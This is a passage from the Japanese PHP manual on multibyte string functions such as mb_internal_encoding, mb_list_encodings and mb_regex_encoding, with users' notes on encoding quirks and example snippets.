echo preg_replace('/('.$f.')/iu', '<b>$1</b>', $s);
?>
its2dark2c at yahoo dot com 20-Aug-2011 04:36
when trying to find a way to strip newline from a multibyte UTF-8 string i got to this function just to discover later that POSIX don't "do" newline so i can't strip them, examples of what i tried are : \r\n , \\r\\n , (\\r\\n) (\\r|\\n)

and got no result
so since i wanted something like mb_nl2br() that's simple i wrote this little recursive function for UTF-8:

<?php
function mb_str_replace($find,$replace,&$str)
{
$i = mb_strpos($str,$find, 0,"UTF-8");
if ($index===false) {return;}
$str = mb_substr($str, 0,$i).$replace.mb_substr($str, $i+mb_strlen($find,"UTF-8"),mb_strlen($str,"UTF-8"));
$this->mb_str_replace($find,$replace,$str);
}
?>

note: moderate unit tesing was done, changed to other encodings
cat at feelthehouse dot ru 13-Sep-2008 09:27
Transliterator for cyrillic-to-latin letters for UTF chars:

<?php
function do_translit($st) {
    $replacement = array(
        "й"=>"i","ц"=>"c","у"=>"u","к"=>"k","е"=>"e","н"=>"n",
        "г"=>"g","ш"=>"sh","щ"=>"sh","з"=>"z","х"=>"x","ъ"=>"\'",
        "ф"=>"f","ы"=>"i","в"=>"v","а"=>"a","п"=>"p","р"=>"r",
        "о"=>"o","л"=>"l","д"=>"d","ж"=>"zh","э"=>"ie","ё"=>"e",
        "я"=>"ya","ч"=>"ch","с"=>"c","м"=>"m","и"=>"i","т"=>"t",
        "ь"=>"\'","б"=>"b","ю"=>"yu",
        "Й"=>"I","Ц"=>"C","У"=>"U","К"=>"K","Е"=>"E","Н"=>"N",
        "Г"=>"G","Ш"=>"SH","Щ"=>"SH","З"=>"Z","Х"=>"X","Ъ"=>"\'",
        "Ф"=>"F","Ы"=>"I","В"=>"V","А"=>"A","П"=>"P","Р"=>"R",
        "О"=>"O","Л"=>"L","Д"=>"D","Ж"=>"ZH","Э"=>"IE","Ё"=>"E",
        "Я"=>"YA","Ч"=>"CH","С"=>"C","М"=>"M","И"=>"I","Т"=>"T",
        "Ь"=>"\'","Б"=>"B","Ю"=>"YU",
    );

    foreach($replacement as $i=>$u) {
        $st = mb_eregi_replace($i,$u,$st);
    }
    return $st;
}
?>


マルチバイトをサポートし、大文字小文字を無視した正規表現マッチ

  • ≪ mb_eregi_replace
  • mb_get_info ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイトをサポートし、大文字小文字を無視した正規表現マッチ

mb_eregi

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_eregi — マルチバイトをサポートし、大文字小文字を無視した正規表現マッチ

説明

mb_eregi ( string $pattern , string $string , array &$matches = null ) : bool

マルチバイトをサポートし、かつ大文字小文字を無視した正規表現マッチを実行します。

パラメータ

pattern

正規表現のパターン

string

検索対象の string

matches

pattern の 括弧で囲まれた部分文字列にマッチする部分が見つかり、 かつ3番目の引数 matches が渡された場合、 マッチした部分が matches 配列に格納されます。 何もマッチしなかった場合、 matches には空の配列が設定されます。

$matches[1] には、最初の左括弧から始まる部分文字列が含まれます。 $matches[2] には、二番目の左括弧から始まる部分文字列が含まれます。 以後同様です。 $matches[0] には、マッチした文字列全体のコピーが含まれます。

返り値

string 内に pattern にマッチする文字列があるかを返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は、成功時に true を返すようになりました。 これより前のバージョンでは、 string 内に pattern にマッチする文字列が存在し、かつ matches が渡された場合、 マッチした文字列のバイト長を返していました。 matches が渡されなかった場合、 あるいはマッチした文字列の長さが 0 だった場合、 この関数は 1 を返していました。
7.1.0 | mb_eregi() 関数は、何もマッチしなかった場合に matches に空の配列を設定するようになりました。 これより前のバージョンでは、何もマッチしなかった場合に matches を変更しませんでした。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg() - マルチバイト対応の正規表現マッチ

User Contributed Notes

lasmit at what dot com 20-Feb-2012 10:31
I simulated it:
<?php
   $text = 'Apfel';
   mb_internal_encoding( 'utf-8' );
   printf( "%d\n", mb_eregi( 'apfel', $text ) ); // Output: 0
   printf( "%d\n", mb_ereg( 'apfel', mb_strtolower( $text ) ) ); // Output: 1
   printf( "%d\n", mb_eregi( 'apfel', mb_strtolower( $text ) ) ); // Output: 1
?>
bubalula at gmail dot com 27-Aug-2010 07:44
This function does not work - it is not case insensitive for non latin characters.
steve at brainwashstudios dot com 10-Apr-2003 07:52
When this function is perfected, and is not experimental, it may be very usefull in the searching and pinpointing of places inside large text files.


mbstring の内部設定値を取得する

  • ≪ mb_eregi
  • mb_http_input ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • mbstring の内部設定値を取得する

mb_get_info

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_get_info — mbstring の内部設定値を取得する

説明

mb_get_info ( string $type = "all" ) : array|string|int|false

mb_get_info() は、mbstring の内部設定パラメータを返します。

パラメータ

type

type が指定されない場合、または、"all" の場合、 "internal_encoding", "http_input", "http_output", "http_output_conv_mimetypes", "mail_charset", "mail_header_encoding", "mail_body_encoding", "illegal_chars", "encoding_translation", "language", "detect_order", "substitute_character", "strict_detection" の設定値を有する連想配列が返されます。

type に "internal_encoding", "http_input", "http_output", "http_output_conv_mimetypes", "mail_charset", "mail_header_encoding", "mail_body_encoding", "illegal_chars", "encoding_translation", "language", "detect_order", "substitute_character", "strict_detection" が指定された場合、 指定された設定パラメータが返されます。

返り値

type が指定されていない場合は型情報を含む配列、 それ以外の場合は指定した type の値を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | 引数 type の "func_overload" と "func_overload_list" はサポートされなくなりました。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_http_output() - HTTP 出力文字エンコーディングを設定あるいは取得する

User Contributed Notes

There are no user contributed notes for this page.


HTTP 入力文字エンコーディングを検出する

  • ≪ mb_get_info
  • mb_http_output ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • HTTP 入力文字エンコーディングを検出する

mb_http_input

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_http_input — HTTP 入力文字エンコーディングを検出する

説明

mb_http_input ( string|null $type = null ) : array|string|false

HTTP 入力文字エンコーディングを検出します。

パラメータ

type

HTTP 入力の型を表す文字列を入力してください。 GET の場合は "G"、POST の場合は "P"、 COOKIE の場合は "C"、文字列の場合は "S"、 リストの場合は "L"、リスト全体（配列を返す） の場合は "I" です。 type が省略された場合、 直近に処理された入力型が返されます。

返り値

type の文字エンコーディング名を返します。 type が "I" の場合は、 文字エンコーディング名の配列を返します。 mb_http_input() が指定した HTTP 入力の処理を行っていない場合、false を返します。

変更履歴

バージョン | 説明
8.0.0 | type は、nullable になりました。

参考

  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する
  • mb_http_output() - HTTP 出力文字エンコーディングを設定あるいは取得する
  • mb_detect_order() - 文字エンコーディング検出順序を設定あるいは取得する

User Contributed Notes

Timido 27-Jul-2012 08:53
"pass" means "no conversion":

See here:
http://php.net/manual/en/mbstring.configuration.php#ini.mbstring.strict-detection

mbstring.http_input           = pass    ; No conversion.
mbstring.http_output          = pass    ; No conversion
anders jenbo pc dk 23-Oct-2007 08:00
As this does not seam to work (always returns "pass"). you can use

$encoding = mb_detect_encoding(urldecode($REQUEST_URI), 'UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP, ISO-8859-1');

to detect the encoding of the url instead, similare steps could be taken to deteck cookies and post data although it would have to be done for each value.


HTTP 出力文字エンコーディングを設定あるいは取得する

  • ≪ mb_http_input
  • mb_internal_encoding ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • HTTP 出力文字エンコーディングを設定あるいは取得する

mb_http_output

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_http_output — HTTP 出力文字エンコーディングを設定あるいは取得する

説明

mb_http_output ( string|null $encoding = null ) : string|bool

HTTP 出力文字エンコーディングを設定あるいは取得します。 この関数を実行した後、 出力は内部エンコーディングから encoding に変換されます。

パラメータ

encoding

encoding が設定された場合、 mb_http_output() は HTTP 出力文字エンコーディングを encodingに設定します。

encoding が省略された場合、 mb_http_output() は現在の HTTP 出力文字エンコーディングを返します。

返り値

encoding が省略された場合、 mb_http_output() は現在の HTTP 出力文字エンコーディングを返します。それ以外の場合、 成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する
  • mb_http_input() - HTTP 入力文字エンコーディングを検出する
  • mb_detect_order() - 文字エンコーディング検出順序を設定あるいは取得する

User Contributed Notes

Anonymous 13-Apr-2014 10:12
// ----- set mb_http_output encoding to UTF-8 -----
mb_http_output('UTF-8');

// ----- setup php for working with Unicode data -----
mb_internal_encoding('UTF-8');
mb_http_output('UTF-8');
mb_http_input('UTF-8');
mb_language('uni');
mb_regex_encoding('UTF-8');
ob_start('mb_output_handler');

// ---------------
anders jenbo pc dk 03-Oct-2007 01:23
By default this is set to 'pass' witch means that php will not touch the encoding and output it as it is in the source file.

Normaly this function isn't needed as long as you save the .php file in the same encoding as you want it to output as well as retrive all input in the same encoding, but it don't seam to herd as long as it able to figure out what encoding the output is in in the first place.


内部文字エンコーディングを設定あるいは取得する

  • ≪ mb_http_output
  • mb_language ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 内部文字エンコーディングを設定あるいは取得する

mb_internal_encoding

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_internal_encoding — 内部文字エンコーディングを設定あるいは取得する

説明

mb_internal_encoding ( string|null $encoding = null ) : string|bool

内部文字エンコーディングを設定あるいは取得します。

パラメータ

encoding

encoding は、HTTP 入力文字エンコーディング変換、 HTTP 出力文字エンコーディング変換および mbstring モジュールの文字列関数においてデフォルトの文字エンコーディングとして使用されます。 マルチバイト正規表現用のエンコーディングは、ここで扱う内部文字エンコーディングとは別であることに注意してください。

返り値

encoding が設定された場合、 成功した場合に true を、失敗した場合に false を返します。 このとき、マルチバイト正規表現用のエンコーディングは変更されません。 encoding が省略された場合、 現在の内部文字エンコーディング名を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 mb_internal_encoding() の例

<?php
/* 内部文字エンコーディングをUTF-8に設定 */
mb_internal_encoding("UTF-8");

/* 現在の内部文字エンコーディングを表示 */
echo mb_internal_encoding();
?>

参考

  • mb_http_input() - HTTP 入力文字エンコーディングを検出する
  • mb_http_output() - HTTP 出力文字エンコーディングを設定あるいは取得する
  • mb_detect_order() - 文字エンコーディング検出順序を設定あるいは取得する
  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する

User Contributed Notes

webfav at web dot de 16-Sep-2015 12:14
all together

<?php
// ------------------------------------------------------------

header('Content-Type: text/html; CHARSET=shift-jis');

mb_internal_encoding('UTF-8');
mb_http_output('UTF-8');
mb_http_input('UTF-8');
mb_regex_encoding('UTF-8');

// ------------------------------------------------------------
?>
Anonymous 31-May-2015 07:49
Note that mb_internal_encoding is not necessary in PHP 5.6
john leborgne 01-Aug-2012 10:18
i noticed that setting mb_internal_encoding('UTF-8') in my global site config.inc.php, doesn't work in my classes : it reverse back to ISO-8859-1.
Adding the call to the constructor of my top site class resolve this.
mdirks at gulfstreamcoach dot com 17-May-2007 08:55
In response to mortoray at ecircle-ag dot com:

The characters display fine as long as you set the Encoding to something more "Latin 1" compatible (i.e. US-ACSII, ISO-8859-1, ISO-8859-1, or  Windows 1252). PHP.net auto-detects to UTF-8
Joachim Kruyswijk 25-May-2006 12:52
Especially when writing PHP scripts for use on different servers, it is a very good idea to explicitly set the internal encoding somewhere on top of every document served, e.g.

mb_internal_encoding("UTF-8");

This, in combination with mysql-statement "SET NAMES 'utf8'", will save a lot of debugging trouble.

Also, use the multi-byte string functions instead of the ones you may be used to, e.g. mb_strlen() instead of strlen(), etc.
mortoray at ecircle-ag dot com 27-May-2005 04:10
To previous example, the PHP notes don't appear to support umlauted characters so there are question marks  (?) there instead of what should be umlauated oue.  Just substitute any high-order/accented character to see the effect.
mortoray at ecircle-ag dot com 26-May-2005 11:58
Be aware that the strings in your source files must match the encoding you specify by mb_internal_encoding.  It appears the Parser loads raw bytes from the file and refers to its internal encoding to determine their actual encoding.

To demonstrate, the following outputs as espected when the /source/ file is Latin-1 encoded:

<?php
    mb_internal_encoding("iso-8859-1");
    mb_http_output( "UTF-8" );
    ob_start("mb_output_handler");

    echo "???<br/>";

    ?>???

Now, a typical use of mb_internal_encoding is shown as follows.  Make the change to "utf-8" but leave the /source/ file encoding unchanged:

<?php
    mb_internal_encoding("UTF-8");
    mb_http_output( "UTF-8" );
    ob_start("mb_output_handler");

    echo "???<br/>";

    ?>???

The output will just show the <br/> tag and no text.

Save the file as UTF-8 encoding and then the results will be as expected.


現在の言語を設定あるいは取得する

  • ≪ mb_internal_encoding
  • mb_list_encodings ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 現在の言語を設定あるいは取得する

mb_language

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_language — 現在の言語を設定あるいは取得する

説明

mb_language ( string|null $language = null ) : string|bool

現在の言語を設定あるいは取得します。

パラメータ

language

e-mail メッセージのエンコーディングとして使用します。 有効な言語の一覧は、以下のテーブルで示します。 mb_send_mail() は、e-mail をエンコードする際にこの設定を使用します。

言語 | 文字コード | エンコーディング | エイリアス
German/de | ISO-8859-15 | Quoted-Printable | Deutsch
English/en | ISO-8859-1 | Quoted-Printable
Armenian/hy | ArmSCII-8 | Quoted-Printable
Japanese/ja | ISO-2022-JP | BASE64
Korean/ko | ISO-2022-KR | BASE64
neutral | UTF-8 | BASE64
Russian/ru | KOI8-R | Quoted-Printable
Turkish/tr | ISO-8859-9 | Quoted-Printable
Ukrainian/ua | KOI8-U | Quoted-Printable
uni | UTF-8 | BASE64 | universal
Simplified Chinese/zh-cn | HZ | BASE64
Traditional Chinese/zh-tw | BIG-5 | BASE64

返り値

language が設定され、 language が有効な場合、trueが返されます。 そうでない場合、falseが返されます。 language が省略された場合、または null の場合、 言語の名前が文字列として返されます。

変更履歴

バージョン | 説明
8.0.0 | language は、nullable になりました。

参考

  • mb_send_mail() - エンコード変換を行ってメールを送信する

User Contributed Notes

There are no user contributed notes for this page.


サポートするすべてのエンコーディングの配列を返す

  • ≪ mb_language
  • mb_ord ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • サポートするすべてのエンコーディングの配列を返す

mb_list_encodings

(PHP 5, PHP 7, PHP 8)

mb_list_encodings — サポートするすべてのエンコーディングの配列を返す

説明

mb_list_encodings ( ) : array

サポートするすべてのエンコーディングの配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

数値添字の配列を返します。

エラー / 例外

この関数はエラーを発生させません。

例

例1 mb_list_encodings() の例

<?php

print_r(mb_list_encodings());

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => pass
    [1] => auto
    [2] => wchar
    [3] => byte2be
    [4] => byte2le
    [5] => byte4be
    [6] => byte4le
    [7] => BASE64
    [8] => UUENCODE
    [9] => HTML-ENTITIES
    [10] => Quoted-Printable
    [11] => 7bit
    [12] => 8bit
    [13] => UCS-4
    [14] => UCS-4BE
    [15] => UCS-4LE
    [16] => UCS-2
    [17] => UCS-2BE
    [18] => UCS-2LE
    [19] => UTF-32
    [20] => UTF-32BE
    [21] => UTF-32LE
    [22] => UTF-16
    [23] => UTF-16BE
    [24] => UTF-16LE
    [25] => UTF-8
    [26] => UTF-7
    [27] => UTF7-IMAP
    [28] => ASCII
    [29] => EUC-JP
    [30] => SJIS
    [31] => eucJP-win
    [32] => SJIS-win
    [33] => JIS
    [34] => ISO-2022-JP
    [35] => Windows-1252
    [36] => ISO-8859-1
    [37] => ISO-8859-2
    [38] => ISO-8859-3
    [39] => ISO-8859-4
    [40] => ISO-8859-5
    [41] => ISO-8859-6
    [42] => ISO-8859-7
    [43] => ISO-8859-8
    [44] => ISO-8859-9
    [45] => ISO-8859-10
    [46] => ISO-8859-13
    [47] => ISO-8859-14
    [48] => ISO-8859-15
    [49] => EUC-CN
    [50] => CP936
    [51] => HZ
    [52] => EUC-TW
    [53] => BIG-5
    [54] => EUC-KR
    [55] => UHC
    [56] => ISO-2022-KR
    [57] => Windows-1251
    [58] => CP866
    [59] => KOI8-R
)

User Contributed Notes

raat1979 at gmail dot com 13-Jan-2018 07:56
this function lists the most common names under which encodings are named,

If the one you are looking for is not in the list but does work it may be known as an alias of one of the returned encoding names

mb_encoding_aliases returns the aliases of the encoding ,
unfortunately there is no reverse way to do this (eg. no function will return 'CP936' for 'GBK')

you could list all encoding names and their known aliases by doing something like
<?php
   print_r(
        array_unique(
            array_merge(
                $enc = mb_list_encodings(),
                call_user_func_array(
                    'array_merge',
                    array_map(
                            "mb_encoding_aliases",
                            $enc
                    )
                )
            )
        )
    );
?>
Jonadabe 24-Feb-2016 09:58
print "<pre>";
print_r(mb_list_encodings());

and got this on xampp in win8.1.

Array
(
    [0] => pass
    [1] => auto
    [2] => wchar
    [3] => byte2be
    [4] => byte2le
    [5] => byte4be
    [6] => byte4le
    [7] => BASE64
    [8] => UUENCODE
    [9] => HTML-ENTITIES
    [10] => Quoted-Printable
    [11] => 7bit
    [12] => 8bit
    [13] => UCS-4
    [14] => UCS-4BE
    [15] => UCS-4LE
    [16] => UCS-2
    [17] => UCS-2BE
    [18] => UCS-2LE
    [19] => UTF-32
    [20] => UTF-32BE
    [21] => UTF-32LE
    [22] => UTF-16
    [23] => UTF-16BE
    [24] => UTF-16LE
    [25] => UTF-8
    [26] => UTF-7
    [27] => UTF7-IMAP
    [28] => ASCII
    [29] => EUC-JP
    [30] => SJIS
    [31] => eucJP-win
    [32] => EUC-JP-2004
    [33] => SJIS-win
    [34] => SJIS-Mobile#DOCOMO
    [35] => SJIS-Mobile#KDDI
    [36] => SJIS-Mobile#SOFTBANK
    [37] => SJIS-mac
    [38] => SJIS-2004
    [39] => UTF-8-Mobile#DOCOMO
    [40] => UTF-8-Mobile#KDDI-A
    [41] => UTF-8-Mobile#KDDI-B
    [42] => UTF-8-Mobile#SOFTBANK
    [43] => CP932
    [44] => CP51932
    [45] => JIS
    [46] => ISO-2022-JP
    [47] => ISO-2022-JP-MS
    [48] => GB18030
    [49] => Windows-1252
    [50] => Windows-1254
    [51] => ISO-8859-1
    [52] => ISO-8859-2
    [53] => ISO-8859-3
    [54] => ISO-8859-4
    [55] => ISO-8859-5
    [56] => ISO-8859-6
    [57] => ISO-8859-7
    [58] => ISO-8859-8
    [59] => ISO-8859-9
    [60] => ISO-8859-10
    [61] => ISO-8859-13
    [62] => ISO-8859-14
    [63] => ISO-8859-15
    [64] => ISO-8859-16
    [65] => EUC-CN
    [66] => CP936
    [67] => HZ
    [68] => EUC-TW
    [69] => BIG-5
    [70] => CP950
    [71] => EUC-KR
    [72] => UHC
    [73] => ISO-2022-KR
    [74] => Windows-1251
    [75] => CP866
    [76] => KOI8-R
    [77] => KOI8-U
    [78] => ArmSCII-8
    [79] => CP850
    [80] => JIS-ms
    [81] => ISO-2022-JP-2004
    [82] => ISO-2022-JP-MOBILE#KDDI
    [83] => CP50220
    [84] => CP50220raw
    [85] => CP50221
    [86] => CP50222
)
bronze1man at gmail dot com 17-Oct-2013 01:59
Note: Not all accept encoding name string are here.
mb_convert_encoding() accept "gbk", but it is not here.


文字のコードポイントを取得する

  • ≪ mb_list_encodings
  • mb_output_handler ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字のコードポイントを取得する

mb_ord

(PHP 7 >= 7.2.0, PHP 8)

mb_ord — 文字のコードポイントを取得する

説明

mb_ord ( string $string , string|null $encoding = null ) : int|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string

encoding

返り値

文字のコードポイントを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • mb_chr() - 特定の文字を取得する
  • ord() - 文字列の先頭バイトを、0 から 255 までの値に変換する

User Contributed Notes

Andrew 14-Mar-2020 06:40
You can forget about DIY uniord()
https://www.php.net/manual/en/function.ord.php#42778

$array['Б'] = uniord('Б');
$array['??'] = uniord('??');
$array['mb_ord Б'] = mb_ord('Б');
$array['mb_ord ??'] = mb_ord('??');

function uniord($charUTF8)
{
$charUCS4 = mb_convert_encoding($charUTF8, 'UCS-4BE', 'UTF-8');
$byte1 = ord(substr($charUCS4, 0, 1));
$byte2 = ord(substr($charUCS4, 1, 1));
$byte3 = ord(substr($charUCS4, 2, 1));
$byte4 = ord(substr($charUCS4, 3, 1));
return ($byte1 << 32) + ($byte2 << 16) + ($byte3 << 8) + $byte4;
}

var_export($array);

Shows:

array ( 'Б' => 1041, '??' => 128695, 'mb_ord Б' => 1041, 'mb_ord ??' => 128695, )

https://unicode-table.com/en/0411/
Б
Encoding     hex     dec (bytes)     dec     binary
UTF-8         D0 91     208 145     53393     11010000 10010001
UTF-16BE     04 11     4 17     1041     00000100 00010001
UTF-16LE     11 04     17 4     4356     00010001 00000100
UTF-32BE     00 00 04 11     0 0 4 17     1041     00000000 00000000 00000100 00010001
UTF-32LE     11 04 00 00     17 4 0 0     285474816     00010001 00000100 00000000 00000000

https://unicode-table.com/en/1F6B7/
??
Encoding     hex     dec (bytes)     dec     binary
UTF-8         F0 9F 9A B7     240 159 154 183     4036991671     11110000 10011111 10011010 10110111
UTF-16BE     D8 3D DE B7     216 61 222 183     3627933367     11011000 00111101 11011110 10110111
UTF-16LE     3D D8 B7 DE     61 216 183 222     1037613022     00111101 11011000 10110111 11011110
UTF-32BE     00 01 F6 B7     0 1 246 183     128695     00000000 00000001 11110110 10110111
UTF-32LE     B7 F6 01 00     183 246 1 0     3086352640     10110111 11110110 00000001 00000000


出力バッファ内で文字エンコーディングを変換するコールバック関数

  • ≪ mb_ord
  • mb_parse_str ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 出力バッファ内で文字エンコーディングを変換するコールバック関数

mb_output_handler

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_output_handler — 出力バッファ内で文字エンコーディングを変換するコールバック関数

説明

mb_output_handler ( string $string , int $status ) : string

mb_output_handler() は、
ob_start() のコールバック関数です。
mb_output_handler() は、出力バッファの文字を
内部文字エンコーディングから HTTP 出力文字エンコーディングに変換します。

パラメータ

string

出力バッファの中身。

status

出力バッファの状態。

返り値

変換後の文字列を返します。

例

例1 mb_output_handler() の例

<?php
mb_http_output("UTF-8");
ob_start("mb_output_handler");
?>

注意

注意:

イメージのようなバイナリデータを出力したい場合、 バイナリデータを送信する前に header() により Content-Type: ヘッダ(例：header("Content-Type: image/png"))を 送信する必要があります。Content-Type: ヘッダが送信されると出力文字 コード変換は無効となります。

'Content-Type: text/*' を送信した場合には、テキストが送信されるとみなし、文字コード設定に 基づいて出力文字コード変換を行います。

参考

  • ob_start() - 出力のバッファリングを有効にする

User Contributed Notes

There are no user contributed notes for this page.


GET/POST/COOKIE データをパースし、グローバル変数を設定する

  • ≪ mb_output_handler
  • mb_preferred_mime_name ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • GET/POST/COOKIE データをパースし、グローバル変数を設定する

mb_parse_str

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_parse_str — GET/POST/COOKIE データをパースし、グローバル変数を設定する

説明

mb_parse_str ( string $string , array &$result ) : bool

GET/POST/COOKIE データをパースし、 グローバル変数を設定します。PHPは、生の POST/COOKIE を提供しないため、 現状では GET データでのみ使用可能です。この関数は、URL エンコードされたデータをパース、エンコーディングを検出、 内部エンコーディングへ変換し、配列result またはグローバル配列に設定します。

パラメータ

string

URL エンコードされたデータ。

result

デコードされ、文字エンコーディング変換された文字列が含まれます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 第二引数はオプションではなくなりました。
7.2.0 | 第二引数なしで mb_parse_str() を呼び出すことは推奨されなくなりました。

参考

  • mb_detect_order() - 文字エンコーディング検出順序を設定あるいは取得する
  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する

User Contributed Notes

kehaovista at qq dot com 23-Jan-2016 12:55
$str = 'email=kehaovista@qq.com&city=shanghai&job=Phper';
mb_parse_str($str, $result);
print_r($result);

//?果
Array
(
    [email] => kehaovista@qq.com
    [city] => shanghai
    [job] => Phper
)


MIME 文字設定を文字列で得る

  • ≪ mb_parse_str
  • mb_regex_encoding ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • MIME 文字設定を文字列で得る

mb_preferred_mime_name

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_preferred_mime_name — MIME 文字設定を文字列で得る

説明

mb_preferred_mime_name ( string $encoding ) : string|false

指定したエンコーディングの MIME charset 文字列を取得します。

パラメータ

encoding

調べるエンコーディング。

返り値

文字エンコーディング encoding 用の MIME charset 文字列を返します。 指定された encoding に対して、 好ましい charset がない場合は false を返します。

例

例1 mb_preferred_mime_name() の例

<?php
$outputenc = "sjis-win";
mb_http_output($outputenc);
ob_start("mb_output_handler");
header("Content-Type: text/html; charset=" . mb_preferred_mime_name($outputenc));
?>

User Contributed Notes

There are no user contributed notes for this page.


現在のマルチバイト正規表現用のエンコーディングを取得または設定する

  • ≪ mb_preferred_mime_name
  • mb_regex_set_options ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 現在のマルチバイト正規表現用のエンコーディングを取得または設定する

mb_regex_encoding

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_regex_encoding — 現在のマルチバイト正規表現用のエンコーディングを取得または設定する

説明

mb_regex_encoding ( string|null $encoding = null ) : string|bool

現在のマルチバイト正規表現用のエンコーディングを取得または設定する

パラメータ

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

返り値

encoding が設定された場合、成功した場合に TRUE を、失敗した場合に FALSE を返します。 このとき、内部文字エンコーディングは変更されません。 encoding が省略された場合、現在のマルチバイト用の正規表現関数で用いる文字エンコーディング名を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。
5.6.0 | デフォルトのエンコーディングが EUC-JP から UTF-8 に変わりました。

参考

  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する
  • mb_ereg() - マルチバイト対応の正規表現マッチ

User Contributed Notes

GerryH 16-Sep-2017 01:49
mb_ereg functionality is provided via Oniguruma RegEx library and not via PCRE. mb_regex_encoding() does only support a subset of encoding names, compared to mb_list_encodings() and mb_encoding_aliases().
Currently the following names are supported (case-insensitive):

UCS-4
UCS-4LE
UTF-32
UTF-32BE
UTF-32LE
UTF-16
UTF-16BE
UTF-16LE
UTF-8
utf8
ASCII
US-ASCII
EUC-JP
eucJP
x-euc-jp
SJIS
eucJP-win
SJIS-win
CP932
MS932
Windows-31J
ISO-8859-1
ISO-8859-2
ISO-8859-3
ISO-8859-4
ISO-8859-5
ISO-8859-6
ISO-8859-7
ISO-8859-8
ISO-8859-9
ISO-8859-10
ISO-8859-13
ISO-8859-14
ISO-8859-15
ISO-8859-16
EUC-CN
EUC_CN
eucCN
gb2312
EUC-TW
EUC_TW
eucTW
BIG-5
CN-BIG5
BIG-FIVE
BIGFIVE
EUC-KR
EUC_KR
eucKR
KOI8-R
KOI8R

The list is a mixture of base names and aliases and applies to PHP 5.4.45 (Oniguruma lib v4.7.1), PHP 5.6.31 (v5.9.5), PHP 7.0.22 (v5.9.6) and PHP 7.1.8 (v5.9.6). Be aware of the inconsistency: mb_regex_encoding() accepts for example the base name 'UTF-8' and its only alias 'utf8', but it does not accept aliases 'utf16', 'utf32' or 'latin1'.

Additionally note, that the informal name/alias 'latin9' for ISO/IEC 8859-15:1999 (including the Euro sign on 0xA4) is also not known by mb_list_encodings(). It can only be adressed as 'ISO-8859-15' or 'ISO_8859-15' and for mb_regex_encoding() solely as 'ISO-8859-15'.
code at roberthairgrove dot com 03-Aug-2017 10:19
mb_regex_encoding does not recognize CP1252 or Windows-1252 as valid encodings, although they are in the list generated by mb_list_encodings.

ISO-8859-1 (AKA "Latin-1") is supported, but it's not the same as the Windows variety of Latin-1.
php dot net at phor dot net 31-Aug-2010 01:40
Beware, mb_regex_encoding does not support the same set of encodings as listed in mb_list_encodings.php

Example:

<?php
mb_internal_encoding('CP936');
mb_regex_encoding('CP936'); # this line produces an error
 ?>
Anonymous 28-Jun-2009 10:07
To change algo the regex_encodign
<?php
echo "current mb_internal_encoding: ".mb_internal_encoding()."<br />";
echo "changing mb_internal_encoding to UTF-8<br />";
mb_internal_encoding("UTF-8");
echo "new mb_internal_encoding: ".mb_internal_encoding()."<br />";

echo "current mb_regex_encoding: ".mb_regex_encoding()."<br />";
echo "changing mb_regex_encoding to UTF-8<br />";
mb_regex_encoding('UTF-8');
echo "new mb_regex_encoding: ".mb_regex_encoding()."<br />";
?>
zl at zl dot hu 29-May-2009 06:05
Return values vary in setting and getting:

<?php
  echo mb_regex_encoding();
  // returns encoding name as a string
?>

<?php
  echo mb_regex_encoding("UTF-8");
  // returns true (success) of false as a boolean
?>


マルチバイト正規表現関数のデフォルトオプションを取得または設定する

  • ≪ mb_regex_encoding
  • mb_scrub ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイト正規表現関数のデフォルトオプションを取得または設定する

mb_regex_set_options

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_regex_set_options — マルチバイト正規表現関数のデフォルトオプションを取得または設定する

説明

